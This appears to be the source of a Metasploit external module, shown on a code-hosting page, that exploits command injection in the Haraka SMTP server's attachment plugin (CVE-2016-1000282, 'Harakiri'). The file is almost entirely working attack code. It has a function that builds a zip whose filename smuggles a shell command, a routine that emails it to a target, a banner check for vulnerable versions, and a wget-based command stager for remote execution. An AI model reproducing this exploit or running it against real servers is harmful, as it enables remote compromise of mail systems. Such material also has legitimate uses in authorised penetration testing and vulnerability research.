191 lines
5.5 KiB
Python
Executable File
191 lines
5.5 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
# Vendor Homepage: https://haraka.github.io/
|
|
# Software Link: https://github.com/haraka/Haraka
|
|
# Exploit github: http://github.com/outflankbv/Exploits/
|
|
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
|
|
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
|
|
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
|
|
# Tested versions: 2.8.8 and 2.7.2
|
|
# Thanks to: Dexlab.nl for asking me to look at Haraka.
|
|
|
|
import smtplib
|
|
import re
|
|
from email.mime.application import MIMEApplication
|
|
from email.mime.multipart import MIMEMultipart
|
|
from email.mime.text import MIMEText
|
|
import zipfile
|
|
|
|
try:
|
|
# Python 2 plain strings are bytes
|
|
from StringIO import StringIO as BytesIO
|
|
except ImportError:
|
|
from io import BytesIO
|
|
from metasploit import module
|
|
from metasploit.version import StrictVersion
|
|
|
|
metadata = {
|
|
"name": "Haraka SMTP Command Injection",
|
|
"description": """
|
|
The Haraka SMTP server comes with a plugin for processing attachments.
|
|
Versions before 2.8.9 can be vulnerable to command injection
|
|
""",
|
|
"authors": [
|
|
"xychix <xychix[AT]hotmail.com>",
|
|
"smfreegard",
|
|
"Adam Cammack <adam_cammack[AT]rapid7.com>",
|
|
],
|
|
"date": "2017-01-26",
|
|
"references": [
|
|
{"type": "cve", "ref": "2016-1000282"},
|
|
{"type": "edb", "ref": "41162"},
|
|
{"type": "url", "ref": "https://github.com/haraka/Haraka/pull/1606"},
|
|
],
|
|
"type": "remote_exploit_cmd_stager",
|
|
"rank": "excellent",
|
|
"wfsdelay": 5,
|
|
"privileged": True,
|
|
"targets": [
|
|
{"platform": "linux", "arch": "x64"},
|
|
{"platform": "linux", "arch": "x86"},
|
|
],
|
|
"payload": {"command_stager_flavor": "wget"},
|
|
"options": {
|
|
"email_to": {
|
|
"type": "string",
|
|
"description": "Email to send to, must be accepted by the server",
|
|
"required": True,
|
|
"default": "admin@localhost",
|
|
},
|
|
"email_from": {
|
|
"type": "string",
|
|
"description": "Address to send from",
|
|
"required": True,
|
|
"default": "foo@example.com",
|
|
},
|
|
"rhost": {
|
|
"type": "address",
|
|
"description": "Target server",
|
|
"required": True,
|
|
"default": None,
|
|
},
|
|
"rport": {
|
|
"type": "port",
|
|
"description": "Target server port",
|
|
"required": True,
|
|
"default": 25,
|
|
},
|
|
"command": {
|
|
"type": "string",
|
|
"description": "Command to run on the target",
|
|
"required": True,
|
|
"default": "/bin/echo hello",
|
|
},
|
|
},
|
|
"notes": {"AKA": ["Harakiri"]},
|
|
}
|
|
|
|
|
|
def send_mail(to, mailserver, cmd, mfrom, port):
|
|
msg = MIMEMultipart()
|
|
html = "harakiri"
|
|
msg["Subject"] = "harakiri"
|
|
msg["From"] = mfrom
|
|
msg["To"] = to
|
|
msg.attach(MIMEText(html))
|
|
module.log(
|
|
"Send harariki to %s, commandline: %s , mailserver %s is used for delivery"
|
|
% (to, cmd, mailserver),
|
|
"debug",
|
|
)
|
|
part = MIMEApplication(create_zip(cmd), Name="harakiri.zip")
|
|
part["Content-Disposition"] = 'attachment; filename="harakiri.zip"'
|
|
msg.attach(part)
|
|
module.log("Sending mail to target server...")
|
|
module.log(msg.as_string(), "debug")
|
|
s = smtplib.SMTP(mailserver, port)
|
|
try:
|
|
resp = s.sendmail(mfrom, to, msg.as_string())
|
|
except smtplib.SMTPDataError as err:
|
|
if err[0] == 450:
|
|
module.log("Triggered bug in target server (%s)" % err[1], "good")
|
|
s.close()
|
|
return True
|
|
module.log("Bug not triggered in target server", "error")
|
|
module.log(
|
|
"it may not be vulnerable or have the attachment plugin activated", "error"
|
|
)
|
|
s.close()
|
|
return False
|
|
|
|
|
|
class InMemoryZip(object):
|
|
def __init__(self):
|
|
self.in_memory_zip = BytesIO()
|
|
|
|
def append(self, filename_in_zip, file_contents):
|
|
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
|
|
zf.writestr(filename_in_zip, file_contents)
|
|
for zfile in zf.filelist:
|
|
zfile.create_system = 0
|
|
return self
|
|
|
|
def read(self):
|
|
self.in_memory_zip.seek(0)
|
|
return self.in_memory_zip.read()
|
|
|
|
|
|
def create_zip(cmd="touch /tmp/harakiri"):
|
|
z1 = InMemoryZip()
|
|
z2 = InMemoryZip()
|
|
z2.append(
|
|
"harakiri.txt",
|
|
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.",
|
|
)
|
|
z1.append('a";%s;echo "a.zip' % cmd, z2.read())
|
|
return z1.read()
|
|
|
|
|
|
def check_banner(args):
|
|
module.log(
|
|
"{}:{} Starting banner check for Haraka < 2.8.9".format(
|
|
args["rhost"], args["rport"]
|
|
),
|
|
level="debug",
|
|
)
|
|
c = smtplib.SMTP()
|
|
try:
|
|
(code, banner) = c.connect(args["rhost"], int(args["rport"]))
|
|
except:
|
|
return "unknown"
|
|
|
|
c.quit()
|
|
|
|
if code == 220 and "Haraka" in banner:
|
|
versions = re.findall(r"(\d+\.\d+\.\d+)", banner)
|
|
if versions:
|
|
if StrictVersion(versions[0]) < StrictVersion("2.8.9"):
|
|
return "appears"
|
|
else:
|
|
return "safe"
|
|
else:
|
|
return "detected"
|
|
elif code == 220:
|
|
return "detected"
|
|
else:
|
|
return "unknown"
|
|
|
|
|
|
def exploit(args):
|
|
send_mail(
|
|
args["email_to"],
|
|
args["rhost"],
|
|
args["command"],
|
|
args["email_from"],
|
|
int(args["rport"]),
|
|
)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
module.run(metadata, exploit, soft_check=check_banner)
|